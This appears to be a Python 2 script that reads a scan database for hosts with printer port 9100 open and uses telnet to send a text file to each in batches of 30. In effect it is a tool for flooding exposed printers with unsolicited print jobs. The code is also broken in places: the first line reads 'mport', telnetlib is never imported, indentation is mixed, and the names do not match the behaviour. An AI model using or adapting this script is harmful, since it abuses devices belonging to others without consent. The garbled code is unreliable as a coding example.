mport requests
import sys
import os
import time
import csv
import mysql.connector
import re
import gevent
import random
from subprocess import call

class report_open_proxy():

	# TODO: Randomized User Agents
	def __init__(self):
		self.sql_query = ("Select tbl_IPAddresses.strIPAddr, tbl_IPAddresses.strCountry, tbl_IPAddresses.strCity, tbl_IPAddresses.strRegion, "
				  "tbl_service.intPort, tbl_service_content.txtDump From tbl_IPAddresses Inner Join tbl_service on tbl_IPAddresses.idIPAddr "
				  "= tbl_service.idIPAddr Inner Join tbl_service_content On tbl_service.idSvc = tbl_service_content.idSvc Where "
				  "((tbl_service.intPort = 9100)) and tbl_service.dateDiscovered >= \"2017-12-22 12:27:46\"")

	# Generate List of IPs and Ports with idsvc for each port
	def generate_list(self, sql_query):
		cnx = mysql.connector.connect(unix_socket='/run/mysqld/mysqld.sock',user='zedspider', password='password', database='zedspider')
		cursor = cnx.cursor()
		cursor.execute(sql_query)

		test_list = cursor.fetchall()

		return test_list

	def syscall_vncsnapshot(self, ipaddr, port):

                file = open('print-text.txt', 'r')
                strbuffer = file.read()
                file.close()

		#print strbuffer
		print "Sending text to " + ipaddr + "."
		tn = telnetlib.Telnet(ipaddr, port)
		tn.write(strbuffer)
		time.sleep(3)
		tn.close()
		print "Succeess for " + ipaddr + "."

	def run(self):
		# Generate List of IPs and Ports and store in list variable
		self.test_list = self.generate_list(self.sql_query)

		total = len(self.test_list)

		test_queue = []

                while self.test_list:
			print "Testing " + str(total-len(self.test_list)) + "/" + str(total) + " possible printers."
                        for counter in range(0,min(30, len(self.test_list))):
                                test_queue.append(self.test_list[0])
                                del self.test_list[0]
                                counter += 1
                        jobs = [gevent.spawn(self.syscall_vncsnapshot, row[0], row[4]) for row in test_queue]
                        gevent.joinall(jobs)
                        test_queue = []
                        counter = 0
			time.sleep(45)


M = report_open_proxy()
M.run()